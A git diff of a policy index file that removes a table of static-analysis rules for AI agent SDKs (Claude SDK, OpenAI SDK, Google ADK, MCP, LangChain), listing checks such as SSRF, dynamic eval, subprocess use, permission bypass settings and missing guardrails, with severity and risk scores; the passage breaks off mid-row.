diff --git a/POLICY_INDEX.md b/POLICY_INDEX.md index 222f0de..67559b6 100644 --- a/POLICY_INDEX.md +++ b/POLICY_INDEX.md @@ -53,178 +53,186 @@ Users can contribute their own policies by: ## All rules -| | Id | SDK/ADK | Scope | Applies To | Policy | Severity | Confidence | Risk | Source | -| --- | -------- | ----------- | -------- | --------------------------------------------------- | ------------------------------------------------------------------------------------- | -------- | ---------- | ---- | ------------------------------------------------------------------------------------------------------------------------- | -| 1 | CSDK-001 | Claude SDK | tool | claude_sdk_tool | Tool has no description | low | 0.95 | 14.3 | [claude_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/tool_definition.yaml) | -| 2 | CSDK-002 | Claude SDK | tool | claude_sdk_tool | Tool parameters are not type-annotated | medium | 0.90 | 36.0 | [claude_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/tool_definition.yaml) | -| 3 | CSDK-003 | Claude SDK | tool | claude_sdk_tool | Network call has no timeout | high | 0.85 | 59.5 | [claude_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/network.yaml) | -| 4 | CSDK-004 | Claude SDK | tool | claude_sdk_tool | Path parameter used in I/O without validation | high | 0.70 | 49.0 | [claude_sdk/path_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/path_safety.yaml) | -| 5 | CSDK-005 | Claude SDK | tool | claude_sdk_tool | Tool raises exceptions without a structured error contract | low | 0.60 | 9.0 | [claude_sdk/error_handling.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/error_handling.yaml) | -| 6 | CSDK-006 | Claude SDK | tool | claude_sdk_tool | Mutating tool has no idempotency key | medium | 0.55 | 22.0 | [claude_sdk/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/idempotency.yaml) | -| 7 | CSDK-007 | Claude SDK | tool | claude_sdk_tool | Ambiguous tool name | low | 0.90 | 13.5 | [claude_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/tool_definition.yaml) | -| 8 | CSDK-008 | Claude SDK | tool | claude_sdk_tool | Tool exposes **kwargs without explicit input_schema | medium | 0.80 | 32.0 | [claude_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/tool_definition.yaml) | -| 9 | CSDK-009 | Claude SDK | tool | claude_sdk_tool | Tool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [claude_sdk/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/ssrf.yaml) | -| 10 | CSDK-010 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK tool shells out to the OS | high | 0.70 | 49.0 | [claude_sdk/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/shell_safety.yaml) | -| 11 | CSDK-011 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK tool evaluates dynamic code | high | 0.90 | 63.0 | [claude_sdk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/code_execution.yaml) | -| 12 | CSDK-012 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK tool writes to the filesystem | low | 0.50 | 7.5 | [claude_sdk/path_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/path_safety.yaml) | -| 13 | CSDK-013 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK tool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [claude_sdk/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/ssrf.yaml) | -| 14 | CSDK-014 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK tool has no description | low | 0.90 | 13.5 | [claude_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/tool_definition.yaml) | -| 15 | CSDK-016 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK mutating tool has no idempotency key | medium | 0.50 | 20.0 | [claude_sdk/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/idempotency.yaml) | -| 16 | CSDK-101 | Claude SDK | agent | claude_agent_definition | Claude subagent is granted the Bash tool | high | 0.80 | 56.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | -| 17 | CSDK-102 | Claude SDK | agent | claude_agent_definition | Claude subagent is granted the WebSearch tool | medium | 0.80 | 32.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | -| 18 | CSDK-103 | Claude SDK | agent | claude_agent_definition | AgentDefinition sets permissionMode to bypassPermissions | high | 0.90 | 63.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | -| 19 | CSDK-104 | Claude SDK | agent | claude_agent_definition | Claude subagent is granted filesystem-write built-ins | high | 0.80 | 56.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | -| 20 | CSDK-105 | Claude SDK | agent | claude_agent_definition | Claude subagent is granted the WebFetch tool | high | 0.75 | 52.5 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | -| 21 | CSDK-107 | Claude SDK | tool | claude_sdk_tool | Tool body calls eval/exec/compile on dynamic input | high | 0.85 | 59.5 | [claude_sdk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/code_execution.yaml) | -| 22 | CSDK-108 | Claude SDK | tool | claude_sdk_tool | Tool body spawns a subprocess | high | 0.70 | 49.0 | [claude_sdk/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/shell_safety.yaml) | -| 23 | CSDK-110 | Claude SDK | subagent | claude_subagent | Subagent granted the built-in Bash tool | high | 0.90 | 63.0 | [claude_sdk/subagent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/subagent_safety.yaml) | -| 24 | CSDK-111 | Claude SDK | subagent | claude_subagent | Subagent granted filesystem-write or web-fetch built-ins | high | 0.85 | 59.5 | [claude_sdk/subagent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/subagent_safety.yaml) | -| 25 | CSDK-120 | Claude SDK | agent | claude_agent_definition | TypeScript AgentDefinition sets permissionMode to bypassPermissions | high | 0.90 | 63.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | -| 26 | CSDK-130 | Claude SDK | agent | claude_query_main | TypeScript query() main agent is granted the Bash tool | high | 0.80 | 56.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | -| 27 | CSDK-131 | Claude SDK | agent | claude_query_main | TypeScript query() main agent is granted filesystem-write or web-fetch built-ins | high | 0.75 | 52.5 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | -| 28 | CSDK-201 | Claude SDK | repo | claude_sdk | Project default permission mode bypasses approvals | high | 0.90 | 63.0 | [claude_sdk/repo.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/repo.yaml) | -| 29 | CSDK-202 | Claude SDK | repo | claude_sdk | Session permission mode bypasses approvals | high | 0.90 | 63.0 | [claude_sdk/repo.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/repo.yaml) | -| 30 | CSDK-203 | Claude SDK | repo | claude_sdk | Repo ships Claude Agent SDK code without an agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [claude_sdk/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/repo_hygiene.yaml) | -| 31 | OAI-001 | OpenAI SDK | tool | openai_tool | Tool function has no docstring | low | 0.90 | 13.5 | [openai_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/tool_definition.yaml) | -| 32 | OAI-002 | OpenAI SDK | tool | openai_tool | Tool function has no type-annotated parameters | medium | 0.85 | 34.0 | [openai_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/tool_definition.yaml) | -| 33 | OAI-003 | OpenAI SDK | tool | openai_tool | Tool sets strict_mode=False | medium | 0.95 | 38.0 | [openai_sdk/decorator_config.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/decorator_config.yaml) | -| 34 | OAI-004 | OpenAI SDK | tool | openai_tool | Tool has no failure_error_function | low | 0.70 | 10.5 | [openai_sdk/decorator_config.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/decorator_config.yaml) | -| 35 | OAI-005 | OpenAI SDK | tool | openai_tool | Network call has no timeout | high | 0.85 | 59.5 | [openai_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/network.yaml) | -| 36 | OAI-006 | OpenAI SDK | tool | openai_tool | Tool accepts path without normalization | high | 0.70 | 49.0 | [openai_sdk/path_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/path_safety.yaml) | -| 37 | OAI-007 | OpenAI SDK | tool | openai_tool | Ambiguous tool name | low | 0.90 | 13.5 | [openai_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/tool_definition.yaml) | -| 38 | OAI-008 | OpenAI SDK | tool | openai_tool | Tool raises exceptions without a structured error contract | low | 0.60 | 9.0 | [openai_sdk/error_handling.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/error_handling.yaml) | -| 39 | OAI-009 | OpenAI SDK | tool | openai_tool | Mutating tool has no idempotency key | medium | 0.55 | 22.0 | [openai_sdk/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/idempotency.yaml) | -| 40 | OAI-010 | OpenAI SDK | tool | openai_tool | Tool function prints to stdout for diagnostics | low | 0.65 | 9.8 | [openai_sdk/observability.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/observability.yaml) | -| 41 | OAI-011 | OpenAI SDK | tool | openai_tool | urllib network call has no timeout | high | 0.85 | 59.5 | [openai_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/network.yaml) | -| 42 | OAI-012 | OpenAI SDK | tool | openai_tool | Tool body spawns a subprocess | high | 0.90 | 63.0 | [openai_sdk/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/shell_safety.yaml) | -| 43 | OAI-013 | OpenAI SDK | tool | openai_tool | Tool body calls eval/exec/compile on dynamic input | high | 0.90 | 63.0 | [openai_sdk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/code_execution.yaml) | -| 44 | OAI-014 | OpenAI SDK | tool | openai_tool | Privileged tool has no needs_approval gate | high | 0.70 | 49.0 | [openai_sdk/approvals.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/approvals.yaml) | -| 45 | OAI-015 | OpenAI SDK | tool | openai_tool | Tool sets failure_error_function=None | high | 0.85 | 59.5 | [openai_sdk/decorator_config.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/decorator_config.yaml) | -| 46 | OAI-016 | OpenAI SDK | tool | openai_tool | TypeScript tool fetch call has no AbortSignal timeout | high | 0.60 | 42.0 | [openai_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/network.yaml) | -| 47 | OAI-017 | OpenAI SDK | tool | openai_tool | TypeScript tool body calls eval / new Function on dynamic input | high | 0.90 | 63.0 | [openai_sdk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/code_execution.yaml) | -| 48 | OAI-018 | OpenAI SDK | tool | openai_tool | Tool builds outbound URL from non-literal value | medium | 0.55 | 22.0 | [openai_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/network.yaml) | -| 49 | OAI-019 | OpenAI SDK | tool | openai_tool | TypeScript mutating tool has no idempotency key | medium | 0.50 | 20.0 | [openai_sdk/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/idempotency.yaml) | -| 50 | OAI-022 | OpenAI SDK | tool | openai_tool | TypeScript tool has no description | low | 0.85 | 12.8 | [openai_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/tool_definition.yaml) | -| 51 | OAI-024 | OpenAI SDK | tool | openai_tool | TypeScript tool builds outbound URL from a non-literal value | medium | 0.60 | 24.0 | [openai_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/network.yaml) | -| 52 | OAI-101 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent has no input_guardrails AND wires shell or filesystem-touching tools | high | 0.85 | 59.5 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | -| 53 | OAI-102 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent uses tool_use_behavior="stop_on_first_tool" | high | 0.95 | 66.5 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | -| 54 | OAI-103 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | tool_choice="required" combined with reset_tool_choice=False | high | 0.95 | 66.5 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | -| 55 | OAI-104 | OpenAI SDK | agent | openai_agent | Raw Agent (not SandboxAgent) wires shell or filesystem-touching tools | medium | 0.75 | 30.0 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | -| 56 | OAI-105 | OpenAI SDK | agent | openai_agent | TypeScript agent wires a content-fetching hosted tool without inputGuardrails | high | 0.80 | 56.0 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | -| 57 | OAI-106 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent wires MCP servers without input_guardrails | high | 0.90 | 63.0 | [openai_sdk/mcp_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/mcp_safety.yaml) | -| 58 | OAI-109 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent uses WebSearchTool without input_guardrails | high | 0.85 | 59.5 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | -| 59 | OAI-110 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent wires a content-fetching tool without output_guardrails | medium | 0.60 | 24.0 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | -| 60 | OAI-111 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent wires a privileged hosted tool without needs_approval | high | 0.75 | 52.5 | [openai_sdk/approvals.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/approvals.yaml) | -| 61 | OAI-201 | OpenAI SDK | repo | openai_agents | Project uses default OpenAI tracing | medium | 0.80 | 32.0 | [openai_sdk/tracing.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/tracing.yaml) | -| 62 | OAI-202 | OpenAI SDK | repo | openai_agents | OpenAI Agents project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [openai_sdk/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/repo_hygiene.yaml) | -| 63 | ADK-001 | Google ADK | tool | adk_function_tool | FunctionTool-wrapped function has no docstring | low | 0.80 | 12.0 | [google_adk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/tool_definition.yaml) | -| 64 | ADK-002 | Google ADK | tool | adk_function_tool | FunctionTool-wrapped function has no type-annotated parameters | medium | 0.85 | 34.0 | [google_adk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/tool_definition.yaml) | -| 65 | ADK-003 | Google ADK | tool | adk_function_tool | Network call has no timeout | high | 0.85 | 59.5 | [google_adk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/network.yaml) | -| 66 | ADK-004 | Google ADK | tool | adk_function_tool | Path parameter used in I/O without normalization | high | 0.70 | 49.0 | [google_adk/path_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/path_safety.yaml) | -| 67 | ADK-005 | Google ADK | tool | adk_function_tool | Tool raises exceptions without a structured error contract | low | 0.60 | 9.0 | [google_adk/error_handling.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/error_handling.yaml) | -| 68 | ADK-006 | Google ADK | tool | adk_function_tool | Mutating tool has no idempotency key | medium | 0.55 | 22.0 | [google_adk/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/idempotency.yaml) | -| 69 | ADK-007 | Google ADK | tool | adk_function_tool | Ambiguous tool name | low | 0.90 | 13.5 | [google_adk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/tool_definition.yaml) | -| 70 | ADK-008 | Google ADK | agent | adk_llm_agent | Agent grants BashTool with no restrictive command policy | high | 0.75 | 52.5 | [google_adk/builtin_tools.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/builtin_tools.yaml) | -| 71 | ADK-009 | Google ADK | tool | adk_function_tool | FunctionTool body prints to stdout | low | 0.70 | 10.5 | [google_adk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/tool_definition.yaml) | -| 72 | ADK-010 | Google ADK | tool | adk_function_tool | Tool body spawns a subprocess | high | 0.90 | 63.0 | [google_adk/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/shell_safety.yaml) | -| 73 | ADK-011 | Google ADK | tool | adk_function_tool | Tool body calls eval/exec/compile on dynamic input | high | 0.90 | 63.0 | [google_adk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/code_execution.yaml) | -| 74 | ADK-012 | Google ADK | tool | adk_function_tool | Tool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [google_adk/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/ssrf.yaml) | -| 75 | ADK-013 | Google ADK | tool | adk_function_tool | TypeScript FunctionTool has no description | low | 0.80 | 12.0 | [google_adk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/tool_definition.yaml) | -| 76 | ADK-015 | Google ADK | tool | adk_function_tool | TypeScript FunctionTool body evaluates dynamic code | high | 0.90 | 63.0 | [google_adk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/code_execution.yaml) | -| 77 | ADK-016 | Google ADK | tool | adk_function_tool | TypeScript FunctionTool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [google_adk/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/ssrf.yaml) | -| 78 | ADK-101 | Google ADK | agent | adk_llm_agent | LlmAgent has no description | medium | 0.85 | 34.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | -| 79 | ADK-102 | Google ADK | agent | adk_llm_agent | Agent with BashTool has no before_tool_callback | high | 0.85 | 59.5 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | -| 80 | ADK-103 | Google ADK | agent | adk_llm_agent | Sub-agent is granted BashTool | high | 0.90 | 63.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | -| 81 | ADK-104 | Google ADK | agent | adk_llm_agent | Agent has no safety_settings | medium | 0.75 | 30.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | -| 82 | ADK-105 | Google ADK | agent | adk_llm_agent | Agent uses web search built-in without before_tool_callback | high | 0.85 | 59.5 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | -| 83 | ADK-106 | Google ADK | agent | adk_llm_agent | Agent has a code_executor but no before_model_callback | high | 0.80 | 56.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | -| 84 | ADK-107 | Google ADK | agent | adk_llm_agent | Agent grants AgentTool but has no before_tool_callback | high | 0.70 | 49.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | -| 85 | ADK-108 | Google ADK | agent | adk_loop_agent | LoopAgent has no max_iterations | medium | 0.70 | 28.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | -| 86 | ADK-109 | Google ADK | agent | adk_llm_agent | TypeScript LlmAgent has no description | medium | 0.85 | 34.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | -| 87 | ADK-110 | Google ADK | agent | adk_llm_agent | Agent fetches web content via UrlContextTool/LoadWebPage without before_tool_callback | medium | 0.70 | 28.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | -| 88 | ADK-201 | Google ADK | repo | google_adk | Google ADK project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [google_adk/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/repo_hygiene.yaml) | -| 89 | MCP-001 | MCP | tool | mcp_tool | Tool has no description | low | 0.90 | 13.5 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 90 | MCP-002 | MCP | tool | mcp_tool | Tool has no type-annotated parameters | medium | 0.85 | 34.0 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 91 | MCP-003 | MCP | tool | mcp_tool | Ambiguous tool name | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 92 | MCP-004 | MCP | tool | mcp_tool | Network call has no timeout | high | 0.85 | 59.5 | [mcp/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/network.yaml) | -| 93 | MCP-005 | MCP | tool | mcp_tool | Path parameter used in I/O without validation | high | 0.70 | 49.0 | [mcp/path_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/path_safety.yaml) | -| 94 | MCP-006 | MCP | tool | mcp_tool | Tool raises exceptions without a structured error contract | low | 0.60 | 9.0 | [mcp/error_handling.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/error_handling.yaml) | -| 95 | MCP-007 | MCP | tool | mcp_tool | Mutating tool has no idempotency key | medium | 0.55 | 22.0 | [mcp/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/idempotency.yaml) | -| 96 | MCP-008 | MCP | tool | mcp_tool | Tool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [mcp/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/ssrf.yaml) | -| 97 | MCP-009 | MCP | tool | mcp_tool | Tool body calls eval/exec/compile on dynamic input | high | 0.85 | 59.5 | [mcp/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/code_execution.yaml) | -| 98 | MCP-010 | MCP | tool | mcp_tool | Tool body spawns a subprocess | high | 0.70 | 49.0 | [mcp/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/shell_safety.yaml) | -| 99 | MCP-011 | MCP | tool | mcp_tool | TypeScript MCP tool has no description | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 100 | MCP-012 | MCP | tool | mcp_tool | TypeScript MCP tool spawns a subprocess | high | 0.70 | 49.0 | [mcp/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/shell_safety.yaml) | -| 101 | MCP-013 | MCP | tool | mcp_tool | TypeScript MCP tool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [mcp/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/ssrf.yaml) | -| 102 | MCP-014 | MCP | tool | mcp_tool | TypeScript MCP tool evaluates dynamic code | high | 0.90 | 63.0 | [mcp/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/code_execution.yaml) | -| 103 | MCP-015 | MCP | tool | mcp_tool | Go MCP tool has no description | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 104 | MCP-016 | MCP | tool | mcp_tool | Ambiguous Go MCP tool name | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 105 | MCP-017 | MCP | tool | mcp_tool | C# MCP tool has no description | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 106 | MCP-018 | MCP | tool | mcp_tool | Ambiguous C# MCP tool name | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 107 | MCP-019 | MCP | tool | mcp_tool | PHP MCP tool has no description | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 108 | MCP-020 | MCP | tool | mcp_tool | Ambiguous PHP MCP tool name | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 109 | MCP-021 | MCP | tool | mcp_tool | Rust MCP tool has no description | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 110 | MCP-022 | MCP | tool | mcp_tool | Ambiguous Rust MCP tool name | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | -| 111 | LC-001 | LangChain | tool | langchain_tool | LangChain tool has no description | low | 0.80 | 12.0 | [langchain/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/tool_definition.yaml) | -| 112 | LC-002 | LangChain | tool | langchain_tool | LangChain tool parameters are not type-annotated | medium | 0.85 | 34.0 | [langchain/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/tool_definition.yaml) | -| 113 | LC-003 | LangChain | tool | langchain_tool | LangChain tool body spawns a subprocess | high | 0.85 | 59.5 | [langchain/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/shell_safety.yaml) | -| 114 | LC-004 | LangChain | tool | langchain_tool | LangChain tool body evaluates dynamic code | high | 0.85 | 59.5 | [langchain/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/code_execution.yaml) | -| 115 | LC-005 | LangChain | tool | langchain_tool | LangChain tool fetches a caller-controlled URL (SSRF) | high | 0.80 | 56.0 | [langchain/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/ssrf.yaml) | -| 116 | LC-006 | LangChain | tool | langchain_tool | LangChain tool returns its output directly, bypassing the model | medium | 0.80 | 32.0 | [langchain/tool_behavior.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/tool_behavior.yaml) | -| 117 | LC-010 | LangChain | tool | langchain_tool | TypeScript LangChain tool has no description | low | 0.80 | 12.0 | [langchain/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/tool_definition.yaml) | -| 118 | LC-011 | LangChain | tool | langchain_tool | TypeScript LangChain tool body spawns a subprocess | high | 0.85 | 59.5 | [langchain/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/shell_safety.yaml) | -| 119 | LC-012 | LangChain | tool | langchain_tool | TypeScript LangChain tool evaluates dynamic code | high | 0.85 | 59.5 | [langchain/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/code_execution.yaml) | -| 120 | LC-013 | LangChain | tool | langchain_tool | TypeScript LangChain tool fetches a caller-controlled URL (SSRF) | high | 0.80 | 56.0 | [langchain/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/ssrf.yaml) | -| 121 | LC-014 | LangChain | tool | langchain_tool | TypeScript LangChain tool returns its output directly, bypassing the model | medium | 0.80 | 32.0 | [langchain/tool_behavior.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/tool_behavior.yaml) | -| 122 | LC-101 | LangChain | agent | langchain_agent, langchain_agent_executor | LangChain agent wires a code-execution or shell built-in tool | high | 0.85 | 59.5 | [langchain/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/agent_safety.yaml) | -| 123 | LC-102 | LangChain | agent | langchain_agent_executor | LangChain AgentExecutor has no explicit max_iterations limit | low | 0.60 | 9.0 | [langchain/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/agent_safety.yaml) | -| 124 | LC-111 | LangChain | agent | langchain_agent_executor | TypeScript LangChain 